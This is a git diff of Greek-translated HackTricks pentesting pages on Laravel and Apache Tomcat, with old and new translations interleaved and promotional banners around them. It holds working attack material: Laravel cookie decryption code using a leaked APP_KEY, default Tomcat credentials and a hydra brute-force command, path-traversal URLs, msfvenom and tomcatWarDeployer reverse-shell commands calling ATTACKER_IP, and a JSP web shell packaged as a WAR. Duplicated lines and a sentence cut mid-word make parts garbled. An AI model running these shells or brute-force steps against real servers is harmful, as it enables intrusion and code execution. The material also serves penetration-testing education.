<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** [**💬**](https://emojipedia.org/speech-balloon/) [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Laravel Κόλπα
## Laravel Tricks
### Λειτουργία αποσφαλμάτωσης
### Debugging mode
Εάν το Laravel βρίσκεται σε **λειτουργία αποσφαλμάτωσης**, θα μπορείτε να έχετε πρόσβαση στον **κώδικα** και τα **ευαίσθητα δεδομένα**.\
Αν το Laravel είναι σε **λειτουργία αποσφαλμάτωσης**, θα μπορείτε να έχετε πρόσβαση στον **κώδικα** και σε **ευαίσθητα δεδομένα**.\
Για παράδειγμα `http://127.0.0.1:8000/profiles`:
![](<../../.gitbook/assets/image (610).png>)
![](<../../.gitbook/assets/image (1046).png>)
Αυτό συνήθως απαιτείται για την εκμετάλλευση άλλων ευπάθειών του Laravel RCE.
Αυτό συνήθως απαιτείται για την εκμετάλλευση άλλων CVEs RCE του Laravel.
### .env
Το Laravel αποθηκεύει την εφαρμογή που χρησιμοποιεί για την κρυπτογράφηση των cookies και άλλων διαπιστευτηρίων μέσα σε ένα αρχείο με το όνομα `.env` που μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή διάβασης μονοπατιού: `/../.env`
Το Laravel αποθηκεύει την APP που χρησιμοποιεί για την κρυπτογράφηση των cookies και άλλων διαπιστευτηρίων μέσα σε ένα αρχείο που ονομάζεται `.env`, το οποίο μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή πλοήγησης κάτω από: `/../.env`
Το Laravel θα εμφανίσει επίσης αυτές τις πληροφορίες μέσα στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel εντοπίζει ένα σφάλμα και είναι ενεργοποιημένο).
Το Laravel θα δείξει επίσης αυτές τις πληροφορίες μέσα στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel βρίσκει ένα σφάλμα και είναι ενεργοποιημένο).
Χρησιμοποιώντας το μυστικό APP\_KEY του Laravel μπορείτε να αποκρυπτογραφήσετε και να ξανακρυπτογραφήσετε τα cookies:
### Αποκρυπτογράφηση Cookie
### Decrypt Cookie
```python
import os
import json
@ -92,29 +95,32 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
```
### Laravel Deserialization RCE
Ευάλωτες εκδόσεις: 5.5.40 και 5.6.x μέσω 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Ευάλωτες εκδόσεις: 5.5.40 και 5.6.x έως 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Εδώ μπορείτε να βρείτε πληροφορίες σχετικά με την ευπάθεια της αποσυνεριακής επίθεσης: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Εδώ μπορείτε να βρείτε πληροφορίες σχετικά με την ευπάθεια αποσειριοποίησης: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Μπορείτε να το ελέγξετε και να το εκμεταλλευτείτε χρησιμοποιώντας [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Μπορείτε να το δοκιμάσετε και να το εκμεταλλευτείτε χρησιμοποιώντας [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ή μπορείτε επίσης να το εκμεταλλευτείτε με το metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Άλλη αποσυνεριακή επίθεση: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
Μια άλλη αποσειριοποίηση: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection
Διαβάστε πληροφορίες σχετικά με αυτό εδώ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,53 +1,58 @@
# Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Ανακάλυψη
## Discovery
* Συνήθως λειτουργεί στη **θύρα 8080**
* Συνήθως τρέχει σε **θύρα 8080**
* **Κοινό σφάλμα Tomcat:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Απαρίθμηση
## Enumeration
### **Αναγνώριση Έκδοσης**
### **Version Identification**
Για να βρείτε την έκδοση του Apache Tomcat, μπορεί να εκτελεστεί ένα απλό πρόγραμμα:
Για να βρείτε την έκδοση του Apache Tomcat, μπορεί να εκτελεστεί μια απλή εντολή:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
Αυτό θα αναζητήσει τον όρο "Tomcat" στη σελίδα ευρετηρίου τεκμηρίωσης, αποκαλύπτοντας την έκδοση στον τίτλο της HTML απόκρισης.
### **Τοποθεσία Αρχείων Διαχειριστή**
Η εντοπισμός των ακριβών τοποθεσιών των καταλόγων **`/manager`** και **`/host-manager`** είναι κρίσιμος καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται μια αναζήτηση με βία για την εντοπισμό αυτών των σελίδων.
Η αναγνώριση των ακριβών τοποθεσιών των **`/manager`** και **`/host-manager`** καταλόγων είναι κρίσιμη καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται μια αναζήτηση brute-force για να εντοπιστούν αυτές οι σελίδες.
### **Απαρίθμηση Ονομάτων Χρηστών**
### **Αναγνώριση Ονομάτων Χρηστών**
Για τις εκδόσεις Tomcat παλαιότερες από την 6, είναι δυνατή η απαρίθμηση ονομάτων χρηστών μέσω:
Για εκδόσεις Tomcat παλαιότερες από 6, είναι δυνατή η αναγνώριση ονομάτων χρηστών μέσω:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Προεπιλεγμένα Διαπιστευτήρια**
Ο κατάλογος **`/manager/html`** είναι ιδιαίτερα ευαίσθητος καθώς επιτρέπει τη μεταφόρτωση και αναπτυξη αρχείων WAR, τα οποία μπορεί να οδηγήσουν σε εκτέλεση κώδικα. Αυτός ο κατάλογος προστατεύεται από βασική αυθεντικοποίηση HTTP, με κοινά διαπιστευτήρια να είναι:
Ο **`/manager/html`** φάκελος είναι ιδιαίτερα ευαίσθητος καθώς επιτρέπει την ανέβασμα και ανάπτυξη αρχείων WAR, τα οποία μπορεί να οδηγήσουν σε εκτέλεση κώδικα. Αυτός ο φάκελος προστατεύεται από βασική αυθεντικοποίηση HTTP, με κοινά διαπιστευτήρια να είναι:
* admin:admin
* tomcat:tomcat
@ -60,29 +65,70 @@ msf> use auxiliary/scanner/http/tomcat_enum
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Ένας άλλος σημαντικός κατάλογος είναι **`/manager/status`**, ο οποίος εμφανίζει την έκδοση του Tomcat και του λειτουργικού συστήματος, βοηθώντας στον εντοπισμό ευπαθειών.
Ένας άλλος αξιοσημείωτος κατάλογος είναι **`/manager/status`**, ο οποίος εμφανίζει την έκδοση του Tomcat και του λειτουργικού συστήματος, βοηθώντας στην αναγνώριση ευπαθειών.
### **Επίθεση Βίας**
### **Brute Force Attack**
Για να δοκιμάσετε μια επίθεση βίας στον κατάλογο του διαχειριστή, μπορείτε να χρησιμοποιήσετε:
Για να προσπαθήσετε μια επίθεση brute force στον κατάλογο διαχείρισης, μπορείτε να χρησιμοποιήσετε:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
## Κοινές Ευπάθειες
Along with setting various parameters in Metasploit to target a specific host.
### **Αποκάλυψη Κωδικού Πρόσβασης με Ανίχνευση Ανάκλησης**
## Common Vulnerabilities
Η πρόσβαση στο `/auth.jsp` μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε μια ανίχνευση ανάκλησης υπό ευνοϊκές συνθήκες.
### **Password Backtrace Disclosure**
### **Διπλή Κωδικοποίηση URL**
Η πρόσβαση στο `/auth.jsp` μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε ένα backtrace υπό ευνοϊκές συνθήκες.
Η ευπάθεια CVE-2007-1860 στο `mod_jk` επιτρέπει τη διπλή κωδικοποίηση URL για τη διέλευση διαδρομής, επιτρέποντας την μη εξουσιοδοτημένη πρόσβαση στη διεπαφή διαχείρισης μέσω ενός ειδικά διαμορφωμένου URL.
### **Double URL Encoding**
Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat πηγαίνετε στο: `pathTomcat/%252E%252E/manager/html`
Η ευπάθεια CVE-2007-1860 στο `mod_jk` επιτρέπει την διπλή κωδικοποίηση URL path traversal, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαχείριση μέσω μιας ειδικά κατασκευασμένης διεύθυνσης URL.
### /παραδείγματα
Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat, πηγαίνετε στο: `pathTomcat/%252E%252E/manager/html`
Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδειγματικά scripts που είναι ευάλωτα σε αποκάλυψη πληροφορι
### /examples
Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδείγματα scripts που είναι ευάλωτα σε αποκάλυψη πληροφοριών και επιθέσεις cross-site scripting (XSS). Αυτά τα scripts, που αναφέρονται εκτενώς, θα πρέπει να ελέγχονται για μη εξουσιοδοτημένη πρόσβαση και πιθανή εκμετάλλευση. Βρείτε [περισσότερες πληροφορίες εδώ](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Path Traversal Exploit**
Σε ορισμένες [**ευάλωτες ρυθμίσεις του Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) μπορείτε να αποκτήσετε πρόσβαση σε προστατευμένους καταλόγους στο Tomcat χρησιμοποιώντας το path: `/..;/`
Έτσι, για παράδειγμα, μπορεί να μπορείτε να **πρόσβαση στη σελίδα διαχείρισης του Tomcat** πηγαίνοντας: `www.vulnerable.com/lalala/..;/manager/html`
**Ένας άλλος τρόπος** για να παρακάμψετε τις προστατευμένες διαδρομές χρησιμοποιώντας αυτό το κόλπο είναι να αποκτήσετε πρόσβαση στο `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Τέλος, αν έχετε πρόσβαση στον Tomcat Web Application Manager, μπορείτε να **ανεβάσετε και να αναπτύξετε ένα αρχείο .war (εκτέλεση κώδικα)**.
### Limitations
Θα μπορείτε να αναπτύξετε ένα WAR μόνο αν έχετε **αρκετά δικαιώματα** (ρόλοι: **admin**, **manager** και **manager-script**). Αυτές οι λεπτομέρειες μπορούν να βρεθούν στο _tomcat-users.xml_ που συνήθως ορίζεται στο `/usr/share/tomcat9/etc/tomcat-users.xml` (διαφέρει μεταξύ εκδόσεων) (βλ. [POST ](tomcat.md#post)section).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -101,37 +147,37 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Αντίστροφο Shell
### MSFVenom Reverse Shell
1. Δημιουργία του πολέμου για αναπτυξη:
1. Δημιουργήστε το war για ανάπτυξη:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
### Ανέβασε το αρχείο `revshell.war` και έχε πρόσβαση σε αυτό (`/revshell/`):
2. Ανεβάστε το `revshell.war` αρχείο και αποκτήστε πρόσβαση σε αυτό (`/revshell/`):
### Δέσε και ανάστροφο κέλυφος με το [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
### Bind και reverse shell με [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις της sun)
Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις του sun)
#### Λήψη
#### Κατεβάστε
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Αντίστροφη κέλυφωση
#### Αντίστροφη θήκη
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Δέστε το κέλυφος
#### Bind shell
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### Χρησιμοποιώντας το [Culsterd](https://github.com/hatRiot/clusterd)
### Χρησιμοποιώντας [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Χειροκίνητη μέθοδος - Web shell
### Manual method - Web shell
Δημιουργήστε το **index.jsp** με το ακόλουθο [περιεχόμενο](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
@ -162,9 +208,11 @@ jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
### Μεθοδος Χειροκίνητη 2
Μπορείτε επίσης να εγκαταστήσετε αυτό (επιτρέπει την αποστολή, λήψη και εκτέλεση εντολών): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
Λάβετε ένα JSP web shell όπως [αυτό](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) και δημιουργήστε ένα αρχείο WAR:
### Χειροκίνητη Μέθοδος 2
Αποκτήστε ένα JSP web shell όπως [αυτό](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) και δημιουργήστε ένα WAR αρχείο:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
@ -173,11 +221,11 @@ zip -r backup.war cmd.jsp
```
## POST
Το όνομα του αρχείου διαπιστευτήριων του Tomcat είναι _tomcat-users.xml_
Το όνομα του αρχείου διαπιστευτηρίων Tomcat είναι _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Άλλοι τρόποι για τη συλλογή διαπιστευτήριων Tomcat:
Άλλοι τρόποι για να συλλέξετε διαπιστευτήρια Tomcat:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
@ -193,18 +241,21 @@ msf> use post/windows/gather/enum_tomcat
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφημα**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,57 +1,58 @@
# Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Ανακάλυψη
## Discovery
* Συνήθως λειτουργεί στη **θύρα 8080**
* Συνήθως τρέχει σε **θύρα 8080**
* **Κοινό σφάλμα Tomcat:**
<figure><img src="../../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
## Απαρίθμηση
## Enumeration
### **Αναγνώριση Έκδοσης**
Για να βρείτε την έκδοση του Apache Tomcat, μπορεί να εκτελεστεί ένα απλό πρόγραμμα:
### **Version Identification**
Για να βρείτε την έκδοση του Apache Tomcat, μπορεί να εκτελεστεί μια απλή εντολή:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
Αυτό θα αναζητήσει τον όρο "Tomcat" στη σελίδα ευρετηρίου τεκμηρίωσης, αποκαλύπτοντας την έκδοση στον τίτλο της HTML απόκρισης.
### **Τοποθεσία Αρχείων Διαχειριστή**
